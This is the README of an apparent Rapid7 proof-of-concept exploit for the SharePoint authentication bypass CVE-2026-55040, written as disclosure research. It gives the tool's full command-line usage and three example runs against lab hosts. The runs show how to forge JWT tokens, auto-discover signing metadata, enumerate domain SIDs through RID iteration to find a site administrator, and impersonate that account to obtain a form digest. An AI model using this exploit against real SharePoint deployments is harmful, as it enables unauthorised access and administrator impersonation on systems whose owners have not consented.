sfewer-r7/cve-2026-55040Proof-of-concept exploit for Microsoft SharePoint CVE-2026-55040 that forges JWT tokens, bypasses authentication, auto-discovers metadata, and impersonates site admins via SID enumeration.
CVE-2026-55040.py is a proof-of-concept script to leverage the SharePoint authentication bypass vulnerability, CVE-2026-55040.
For a full technical analysis, see our Rapid7 Analysis.
$ python CVE-2026-55040.py --help
usage: CVE-2026-55040.py [-h] [--target TARGET] [--host HOST] [--x5t X5T] [--realm REALM] [--sid SID] [--upn UPN]
[--auto-upn] [--username USERNAME] [--rid RID] [--max-rid MAX_RID] [--port PORT]
[--domain-ip DOMAIN_IP] [--http]
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
options:
-h, --help show this help message and exit
--target TARGET Target IP address (auto-discovers all params)
--host HOST SharePoint hostname (auto-discovered)
--x5t X5T STS signing cert x5t (auto-discovered from metadata)
--realm REALM SharePoint realm GUID (auto-discovered from metadata)
--sid SID Windows SID for identity (auto-discovered via LSARPC)
--upn UPN UPN for identity, e.g. [email protected] (alternative to --sid, no SMB needed)
--auto-upn Auto-construct UPN from HTTPS cert domain (no SMB needed; derives host from cert)
--username USERNAME Username for --auto-upn (default: administrator)
--rid RID Specific RID to use (skips iteration). If not set, auto-SID iterates 500 then 1000+ to find a
site admin
--max-rid MAX_RID Max RID to try during auto-SID iteration (default: 10000)
--port PORT Non-standard port for target web service (default: 443 for HTTPS, 80 for HTTP)
--domain-ip DOMAIN_IP
Domain controller IP for SMB/LSARPC discovery (default: same as --target). Use when the DC is
a different system than the SharePoint server
--http Use HTTP instead of HTTPS (disables auto-discovery; must supply --host, --x5t, --realm, --sid
manually)
By providing only a target hostname via --host, the forged JWT will use an AccessToken naming identity for the NT AUTHORITY\LOCAL SERVICE user.
Note: While the authentication bypass will succeed, the resources you can access via the AccessToken identify are limited. For example, you are unable to access certain endpoints like /_api/contextinfo (shown below during the "Obtaining form digest" operation), but you can access other protected resources, for example /_vti_bin/sites.asmx. Depending on the next vulnerability the authentication bypass is chained to, using an AccessToken naming identity may be viable.
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] No --domain-ip/--sid/--upn provided; using local service identity
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[2] Forging JWT token...
[+] Token forged (1025 bytes)
[3] Obtaining form digest...
[-] Failed to get digest. Response: {"odata.error":{"code":"-2147024891, System.UnauthorizedAccessException","message":{"lang":"en-US","value":"Access denied. You do not have permission to perform this action or access this resource."}}}
By providing a target hostname via --host and the --domain-ip of a corresponding domain controller, the forged JWT will use a urn:office:idp:activedirectory naming identity for a Windows Security Identifier (SID) user. The SID for this user is auto discoverd to find a site administrator.
If you know a SID in advance, you can omit the --domain-ip and pass the know SID via --sid.
$ python3 -m pipx install impacket
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] Discovering domain SID via SMB (192.168.86.11)...
[*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
[*] DC differs from target; will discover SharePoint hostname separately
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[+] Iterating RIDs to find site admin (500, then 1000-10000)...
[-] RID 500: no valid user
[-] RID 1000: no valid user
[-] RID 1050: no valid user
[-] RID 1100: no valid user
[-] RID 1150: no valid user
[-] RID 1200: no valid user
[-] RID 1250: no valid user
[-] RID 1300: no valid user
[-] RID 1350: no valid user
[-] RID 1400: no valid user
[-] RID 1450: no valid user
[-] RID 1500: no valid user
[-] RID 1550: no valid user
[-] RID 1600: no valid user
[+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
[+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
[+] Found site admin at RID 1605, stopping scan
[+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
[+] Login: SHAREPOINT\system
[2] Forging JWT token...
[+] Token forged (1040 bytes)
[3] Obtaining form digest...
[+] Digest obtained.
By providing a target hostname via --host and the --upn of a known site user, the forged JWT will use a urn:office:idp:activedirectory naming identity for the given User Principal Name (UPN).
$ python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn [email protected]
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
[*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
[+] Targeting: https://WIN-79B765S1R4G
[2] Forging JWT token...
[+] Token forged (1047 bytes)
[3] Obtaining form digest...
[+] Digest obtained.